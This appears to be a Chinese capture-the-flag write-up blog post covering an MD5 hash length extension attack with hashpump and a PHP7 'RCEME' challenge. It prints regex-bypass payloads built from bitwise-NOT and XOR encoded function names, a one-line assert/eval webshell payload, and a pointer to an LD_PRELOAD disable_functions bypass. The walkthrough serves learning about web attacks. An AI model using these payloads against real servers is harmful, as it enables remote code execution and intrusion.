Hashpump实现哈希长度扩展攻击 | RCEME 题解
Hashpump实现哈希长度扩展攻击 | RCEME

0x01 HASH长度拓展攻击

哈希长度拓展攻击的原理有点过于复杂了,这里直接copy其他大佬的描述了。
长度扩展攻击(length extension attack),是指针对某些允许包含额外信息的加密散列函数的攻击手段。对于满足以下条件的散列函数,都可以作为攻击对象:

① 加密前将待加密的明文按一定规则填充到固定长度(例如512或1024比特)的倍数;

② 按照该固定长度,将明文分块加密,并用前一个块的加密结果,作为下一块加密的初始向量(Initial Vector)。

满足上述要求的散列函数称为Merkle–Damgård散列函数(Merkle–Damgård hash function),下列散列函数都属于Merkle–Damgård散列函数:

    MD4
    MD5
    RIPEMD-160
    SHA-0
    SHA-1
    SHA-256
    SHA-512
    WHIRLPOOL

对于H(salt+data)形式的加密,在以下条件满足的情况下,攻击者可以通过该方法获取H(salt+一定规则构造的data):

① 知道密文的加密算法且该算法满足Merkle–Damgård散列函数特征;
② 不知道salt,但知道salt的长度,并可控制data的值;
③ 可以得到一个H(salt+data)的值。

简而言之,你要满足的条件就是:

  • 知道salt的长度
  • 知道salt+data的Hash值,并且data是你所知道的明文

这样你就能填充其他字符来得到一个和该salt+data计算出的hash值相同的一串字符串,整个过程你是不知道秘钥salt的。

分析:http://ctf5.shiyanbar.com/web/kzhan.php

在这里插入图片描述

注意到这里set-cookie有两个奇怪的值,我们将source任意调整后给出源码:

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

题目思路很简单,你提交的getmein的值和md5($secret+$_POST['username']+$_POST[''passname])的值一样,并且你提交的password不能是admin

我们已知的有:md5($secret+'adminadmin')密钥的长度,那么我们可以通过附加的字符串得到一个md5值和md5($secret+'admin'+'返回的字符串')一样,那么我们只要输入这串返回的字符串,并且输入这个MD5就自然相等了。

这里使用hashpump这款工具:
md5($secret+'adminadmin')—-相当于Signature,而我们输入的data是adminadmin,密钥的长度告诉我们是15位,随意添加字符串,得到我们用这个密钥加密后的新MD5,就是md5($secret+’admin’+’返回的字符串’)

在这里插入图片描述
注意字符串在url提交时,应url编码,将\x换成%:
在这里插入图片描述

[极客大挑战]RCEME(php7特性去绕过黑名单、恶意共享库攻击绕过被过滤方法)

我们先看一个与之类似的题目:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
    //$hint =  "php function getFlag() to get flag"
}

主要的目的就是让我们绕过正则匹配,之后执行getFlag()函数,通过wappalyzer插件我们知道了是PHP7的版本,基于php7,我们可以根据php7的特性进行解题。

在这里插入图片描述
这里解析方式的意味着:

phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行

所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有“^”和~ 异或生成的不可见字符比较多,这里更倾向于使用“~”(求反运算符)。
下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。

在这里插入图片描述
payload:(~%8F%97%8F%96%91%99%90)();即能得到phpinfo()

极客大挑战 RCEME:

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

同理这个题我们也是这样构造,查看phpinfo()看被禁的方法:

在这里插入图片描述
如下方法全部被禁:

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl

留意一下发现assert没有被禁,但是注意:

在这里插入图片描述
PHP>7.1后,assert便不是函数了,因此不支持被可变函数调用,但是这个题的版本是PHP7.0,因此仍然assert为函数.

我们先利用print_r(scandir('./'));来查看当前目录:

在这里插入图片描述
只有index.php,试着读一下根目录:
在这里插入图片描述
发现有readflagflag文件,这里直接构造readfile('/flag');
发现读不出东西,在尝试读取readflag,发现:
在这里插入图片描述

是个二进制可执行文件,这里在网上搜罗到了类似的一句话payload,直接蚁剑连接即可:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

在这里插入图片描述
接下来是比较骚的姿势了,初次见面233:

大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE。
附上链接:
https://www.anquanke.com/post/id/175403

exp链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

其实打靶机的时候也用过环境变量提权,这个PHP版本的环境变量进行RCE也算是多加学习吧。

接下来的事就是上传php和so文件改变环境变量(应上传至/tmp路径下)即可,exp附上了,最后成功得到flag!

在这里插入图片描述


参考链接:http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%e5%87%bd%e6%95%b0%e7%89%b9%e6%80%a7%e5%88%86%e6%9e%90/

exp链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇